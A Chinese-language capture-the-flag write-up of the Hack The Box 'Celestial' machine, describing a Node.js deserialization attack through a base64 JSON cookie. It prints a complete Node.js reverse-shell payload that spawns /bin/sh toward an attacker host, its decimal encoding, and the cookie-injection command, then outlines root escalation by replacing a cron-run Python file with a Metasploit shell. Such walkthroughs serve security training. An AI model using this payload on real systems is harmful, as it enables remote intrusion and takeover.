HACK THE BOX Celestial Write Up

2019-10-16 11:55:04 浏览数 (1)

HACK THE BOX Celestial Write Up

首先我们对靶机进行端口扫描发现靶机只开了一个端口

于是我们访问3000端口发现显示404

于是我们进行burp抓包发现cookie里有疑似base64加密的字符串于是对其进行解密

发现是疑似是json的格式于是进行改包测试发现结果如下

查找网上的资料发现这个可以尝试下看看有没有反序列化漏洞先尝试下改下传值

先尝试只传username 和 username的值

然后再尝试只传后面的值

由上面对比发现我们可以尝试在username的值上做手脚构造一个反序列化的值看看能不能利用进行任意代码执行从而获取靶机的shell

使用payload

var net = require('net');

var spawn = require('child_process').spawn;

HOST="你的ip";

PORT="你的端口";

TIMEOUT="5000";

if (typeof String.prototype.contains ==='undefined') { String.prototype.contains = function(it) { returnthis.indexOf(it) != -1; }; }

function c(HOST,PORT) {

var client = new net.Socket();

client.connect(PORT, HOST, function() {

var sh = spawn('/bin/sh',[]);

client.write("Connected!n");

client.pipe(sh.stdin);

sh.stdout.pipe(client);

sh.stderr.pipe(client);

sh.on('exit',function(code,signal){

client.end("Disconnected!n");

});

});

client.on('error', function(e) {

setTimeout(c(HOST,PORT), TIMEOUT);

});

}

c(HOST,PORT);

对这个payload进行decimal转码

可以使用这个网站https://www.rapidtables.com/convert/number/ascii-hex-bin-dec-converter.html

一下为转码结果

10 118 97 114 32 110 101 116 32 61 32 114101 113 117 105 114 101 40 39 110 101 116 39 41 59 10 118 97 114 32 115 112 97119 110 32 61 32 114 101 113 117 105 114 101 40 39 99 104 105 108 100 95 112114 111 99 101 115 115 39 41 46 115 112 97 119 110 59 10 72 79 83 84 61 34 4948 46 49 48 46 49 54 46 52 54 34 59 10 80 79 82 84 61 34 53 53 53 53 53 34 5910 84 73 77 69 79 85 84 61 34 53 48 48 48 34 59 10 105 102 32 40 116 121 112101 111 102 32 83 116 114 105 110 103 46 112 114 111 116 111 116 121 112 101 4699 111 110 116 97 105 110 115 32 61 61 61 32 39 117 110 100 101 102 105 110 101100 39 41 32 123 32 83 116 114 105 110 103 46 112 114 111 116 111 116 121 112101 46 99 111 110 116 97 105 110 115 32 61 32 102 117 110 99 116 105 111 110 40105 116 41 32 123 32 114 101 116 117 114 110 32 116 104 105 115 46 105 110 100101 120 79 102 40 105 116 41 32 33 61 32 45 49 59 32 125 59 32 125 10 102 117110 99 116 105 111 110 32 99 40 72 79 83 84 44 80 79 82 84 41 32 123 10 32 3232 32 118 97 114 32 99 108 105 101 110 116 32 61 32 110 101 119 32 110 101 11646 83 111 99 107 101 116 40 41 59 10 32 32 32 32 99 108 105 101 110 116 46 99111 110 110 101 99 116 40 80 79 82 84 44 32 72 79 83 84 44 32 102 117 110 99116 105 111 110 40 41 32 123 10 32 32 32 32 32 32 32 32 118 97 114 32 115 10432 61 32 115 112 97 119 110 40 39 47 98 105 110 47 115 104 39 44 91 93 41 59 1032 32 32 32 32 32 32 32 99 108 105 101 110 116 46 119 114 105 116 101 40 34 67111 110 110 101 99 116 101 100 33 92 110 34 41 59 10 32 32 32 32 32 32 32 32 99108 105 101 110 116 46 112 105 112 101 40 115 104 46 115 116 100 105 110 41 5910 32 32 32 32 32 32 32 32 115 104 46 115 116 100 111 117 116 46 112 105 112101 40 99 108 105 101 110 116 41 59 10 32 32 32 32 32 32 32 32 115 104 46 115116 100 101 114 114 46 112 105 112 101 40 99 108 105 101 110 116 41 59 10 32 3232 32 32 32 32 32 115 104 46 111 110 40 39 101 120 105 116 39 44 102 117 110 99116 105 111 110 40 99 111 100 101 44 115 105 103 110 97 108 41 123 10 32 32 3232 32 32 32 32 32 32 99 108 105 101 110 116 46 101 110 100 40 34 68 105 115 99111 110 110 101 99 116 101 100 33 92 110 34 41 59 10 32 32 32 32 32 32 32 32125 41 59 10 32 32 32 32 125 41 59 10 32 32 32 32 99 108 105 101 110 116 46 111110 40 39 101 114 114 111 114 39 44 32 102 117 110 99 116 105 111 110 40 101 4132 123 10 32 32 32 32 32 32 32 32 115 101 116 84 105 109 101 111 117 116 40 9940 72 79 83 84 44 80 79 82 84 41 44 32 84 73 77 69 79 85 84 41 59 10 32 32 3232 125 41 59 10 125 10 99 40 72 79 83 84 44 80 79 82 84 41 59 10

转码后利用notepad 吧所有空格换成,

echo{"username":"_$$ND_FUNC$$_function (){ eval(String.fromCharCode(上面的decimal值))}()"} | base64 -w0

把上面的值通过base64转码放入回包的cookie中看能不能执行我构造的代码

成功弹到shell

进入文件目录发现有个诡异的py文件立刻想到去检查下计划任务看是不是执行这个文件

查看了日志发现这就很有意思了

于是我们在本地利用msf制作一个py的shell传输过去看他计划任务会不去执行从而我们去获取他的root权限

首先生成一个msfpyshell

备份原版文件然后scp过去一个

得到shell

这个靶机参考了国外大佬的操作并进行了一些优化和分析 自己的姿势水平还是不够要多多练习

0 人点赞